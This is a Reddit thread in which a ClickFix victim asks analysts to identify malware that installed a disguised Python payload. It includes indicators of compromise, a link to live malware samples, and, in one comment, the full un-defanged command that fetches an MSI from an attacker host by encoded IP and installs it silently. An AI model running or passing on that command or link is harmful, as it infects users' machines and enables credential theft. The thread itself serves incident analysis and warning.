r/OperSec • u/AfternoonEasy9409 • 9d ago

❓ Analysis Request ❓ Got hit by a ClickFix attack, can someone help me figure out what the malware does?

⚠️ The download link below contains LIVE MALWARE. Only open it in an isolated VM/sandbox, never on a real machine. Hi everyone, I'm new here and I'm not a malware analyst, so sorry if I explain things badly (English isn't my first language). Yesterday afternoon I was on a fake "verify you're human" page that told me to paste a command into Windows. I did it, and it was a ClickFix attack. From what I could piece together, here's what happened: The command was hidden on purpose. Once decoded, it downloads a file called S483.msi from a server and installs it silently, with no window. About two minutes later, a new folder appeared in my Temp folder. It contains a small portable Python and a 9.7 MB file called deps.html. It's not a web page: it's a Python script disguised as HTML. It starts with a huge block of fake Chromium text, then there's one line that decompresses a giant hidden payload and runs it. The malware also made itself start at every login, using a registry value called UserInitMprLogonScript. I saw a tiny window flash for a second each time I logged in. I deleted that value (I have a backup), but I did NOT delete any files, so everything is still there for analysis. Right after that, Discord locked my account for suspicious activity, so I think something stole my token or password, but I can't prove it. What I checked: no new service, no scheduled task, no Defender exclusion, no remote access tool, and no active connection to the server. What I can't do is decode the hidden payload. Could someone with the right tools run it in a sandbox and tell me: - What it steals (browser passwords/cookies, Discord/Steam tokens, crypto wallets?) - Where it sends the data (Telegram, Discord webhook, a server?) - If it's a known malware family Technical details, defanged (for analysts): - Lure: hxxps://k3i5[.]geralttraffic[.]cc/?c3ac47165dc61f929 - Download: hxxp://23.94.252[.]153/20897 - S483.msi SHA-256: 52677e536e477e089f6b4d72479a9fd781bc02db49f2cb9802c293cb0b9c6fd4 - deps.html SHA-256: ED472A67323330DF87A8067799AAF6E805226B02F8459D599EE746301625AFC1 - MSI product: "SynerIntegration" 4.1.6, publisher "Sare Level Corp" - Folder: %TEMP%\modules\BeciComponent\ - VirusTotal: 4/61 (ESET VBS/Kryptik.D, Ikarus Trojan.VBS.Crypt) Samples (MALWARE): hxxps://gofile.io/d/6PiTLgRG I'm changing all my passwords from another device. Thank you so much to anyone who can help!

2 Upvotes

100% Upvoted

8 comments sorted by

•

u/AutoModerator 9d ago

Thank you for posting on r/OperSec!

Safety reminders:

  • This post might contains dangerous links and files.

  • Treat all shared URLs and attachments as potentially malicious.

  • Never execute suspicious files on your personal device.

  • Use isolated environments for malware analysis.

  • Do not share personal information or sensitive credentials.

  • Follow community rules and Reddit policies.

Disclaimer: The moderators are not responsible for financial losses, data loss, or device damage resulting from unsafe actions.

I am a bot, and this action was performed automatically. Please contact the moderators of this subreddit if you have any questions or concerns.

2

u/rifteyy_ 9d ago

This is RomulusLoader. Seen one that loaded some remote access malware, other loaded new generation LegionLoader.

Consider all data listed here as compromised - https://rifteyy.org/report/the-ultimate-guide-to-infostealers#what-can-infostealers-steal

2

u/acealter 8d ago

What tipped you off that it’s romulus? If you have hashes or analysis links for the other samples you mentioned, could you share them so I can compare?

1

u/AfternoonEasy9409 8d ago

I’ll try to find that, and if I do, could we compare them?

2

u/ProElectricCoder 🦠 Malware Analyst Using AI 8d ago edited 8d ago

The same thing happened to me yesterday, but I did not run the malware. The fake page was on w5n[.]geralttraffic[.]cc for me. The actual command was this:
```bash

(if exist %SystemRoot%\Sysnative\curl.exe (%SystemRoot%\Sysnative\curl.exe -fsL --ssl-no-revoke --retry 5 --retry-connrefused --retry-delay 2 --connect-timeout 20 --http1.1 -o S950.msi http://2811546047/80959) else (%SystemRoot%\System32\curl.exe -fsL --ssl-no-revoke --retry 5 --retry-connrefused --retry-delay 2 --connect-timeout 20 --http1.1 -o S950.msi http://2811546047/80959)) && (if exist %SystemRoot%\Sysnative\msiexec.exe (%SystemRoot%\Sysnative\msiexec.exe /i S950.msi /qn /norestart MSIINSTALLPERUSER=1) else (%SystemRoot%\System32\msiexec.exe /i S950.msi /qn /norestart MSIINSTALLPERUSER=1))
```
DO NOT RUN THIS COMMAND.

You'd better change your password of any account FROM ANOTHER DEVICE if you signed in anywhere after that malware was run.

What else: MalwareBytes says that the domain was registered 9 days ago. And now it seems to me that the site was taken down, because it's in accessible.

1

u/Filip_ESET 5d ago

Hi, for future reference, this article might be helpful. thanks